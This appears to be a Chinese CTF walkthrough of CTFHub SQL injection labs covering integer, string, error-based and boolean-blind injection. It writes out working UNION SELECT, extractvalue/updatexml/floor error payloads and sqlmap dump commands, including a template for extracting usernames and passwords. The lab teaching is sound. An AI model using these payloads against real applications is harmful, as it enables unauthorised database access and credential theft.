CNjuzi
- 关注

一,SQL整数型注入
A,解题过程
- 打开环境
- 既然是整数型注入,那就按照提示输入一个1看看
- 在输入框中输入2-1,输出还是1,证明此处有sql的整数型注入
- 判断字段数,输入
1 order by 1,2
1 order by 1,2,3
证明只有两个字段在其中
- 判断回显位置
-1 union select 1,2
测出回显位置在Data:处
- 知道注入点的位置后,开始手动爆库
-1 union select 1,database()
知道当前所在数据库的名称是sqli
- 紧接着进行爆表
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
得知有两个表在其中,猜测flag在flag的表中
- 开始爆字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
知道在flag表下有一个flag的字段
- 爆字段内容
-1 union select 1,group_concat(flag)from flag
成功获取flag
B.知识点
- 首先检查是否存在注入
1 and 1=1 回显正确
1 and 1=2 回显错误
基本可以判断注入类型为整数型注入
- 获取字段数
Order by n //通过不断改变n的值来观察页面反应确定字段数
- 获取系统数据库库名
数据库名存放在information_schema数据库下schemata表schema_name字段中
Select n,n,schema_name from information_schema.schemata
- 获取当前数据库名
Select n,n,database()
- 获取数据库中的表
Select n,n,group_concat(table_name) from information_schema.tables where table_schema=database()
或
Select n,n,table_schema from information_schema.tables where table_schema=database() limit 0,1
- 获取表中的字段
Select n,n,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’
- 获取各个字段值
假设已经获取表名user,且字段为username和password
Select n,n,group_concat(username,password) from users
二,字符型注入
A. 解题过程
- 打开环境
- 根据提示,输入1
可以看到返回的sql语句是
select * from news where id='1'
- 输入 1’判断是否是单引号的字符型注入
回显异常,证明注入点在单引号,现在尝试将后面的单引号注释掉
输入1’#
成功回显,证明可以使用注释符将sql语句闭合
- 一般的在后续爆库爆表之前要先检测and和or是否被过滤,在此演示如何验证and和or没被过滤
输入 1’ and 1=1 #
回显正常
输入1’ and 1=2 #
回显异常,证明and未被过滤
输入1’ or 1=1 #
回显正常
输入1’ or 1=2 #
也回显正常,证明or被过滤。
- 判断回显点
-1’ union select 1,2 #
证明有两列
- 爆库
-1' union select 1,database()#
- 爆表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
- 爆字段
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#
- 爆字段内容
-1' union select 1,(select flag from flag)#
成功爆出flag,解题成功
B.知识点
1.字符型注入要考虑到引号闭合和注释
1’ and 1=1 # (或者 --+) 返回正确
1’ and 1=2 # (或者 --+) 返回错误
这可以证明此处的是字符型的注入。
字符型注入还有很多种类,这些内容在后续文章中会有概述的。
判断为字符型注入后,后续的爆库爆表都与整数型无异。在此不再赘述。
三,报错注入
A,解题过程
- 打开环境
- 按照提示输入 1
- 输入1’
输入1’#
- 都提示错误,采取报错注入
- 首先爆库
1 and extractvalue(null,concat(0x7e,(database()),0x7e))
- 爆第一个表
1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))
运气好,第一个表就是flag的表
- 爆字段
1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))
- 爆字段的内容
1 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))
发现只爆出了部分的flag
ctfhub{9412f2b799fe4be20e67b88a
这样的话需要借助mid函数进行字符截取从而显示后面的内容
输入
1 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e))
得到全部的flag。
B. 知识点
- 当场景中仅仅将sql语句导入查询返回页面正确,没有返回点的时候,这个时候需要使用报错注入,用报错的语句进行回显。
- 报错注入主要依赖三种函数:
第一种:extractvalue()
里面使用select,不能使用union select 联合查询
Concat()函数:功能就是将多个字符串连接成一个字符串。
报错语句结构:
?id=1 and extractvalue(null,concat(0x7e,(sql语句),0x7e))
第二种:updatexml()
报错语句结构:
1 and updatexml(1,concat(0x7e,(sql语句),0x7e),1)
第三种:floor报错注入
报错语句结构:
?id=1 union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x
导致数据库报错,通过concat()函数将注入语句与floor(rand(0)*2)函数链接,实现将注入结果与报错信息链接回显的注入方式。
四,布尔盲注
A. 解题过程
- 首先了解布尔盲注的基本情况
布尔盲注只会返回True和False两种情况
- 输入1
发现回显query_success
- 输入1’
发现回显query_error
- 分析:
当回显success时,这时数据库查询结果为空,返回还是success
当回显error时,这是数据库查询结果为空或者查询语句出错时,回显error
B. SQLMAP的使用
- 这里使用sqlmap进行SQL注入,使用kali进行sqlmap。
sqlmap -u http://challenge-698506c43f808a13.sandbox.ctfhub.com:10800/?id=1 --dbs
扫出来四条数据,存在四个数据库
- 使用
sqlmap -u http://challenge-698506c43f808a13.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
进行查询sqli数据库下的表名
查询出来在sqli数据库下存在两个表,进行第三步爆字段
- 使用
sqlmap -u http://challenge-698506c43f808a13.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns --dump
进行爆字段
爆出flag.解题成功。
[还有其他不同类型的SQL注入,等稍后再写出。]
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)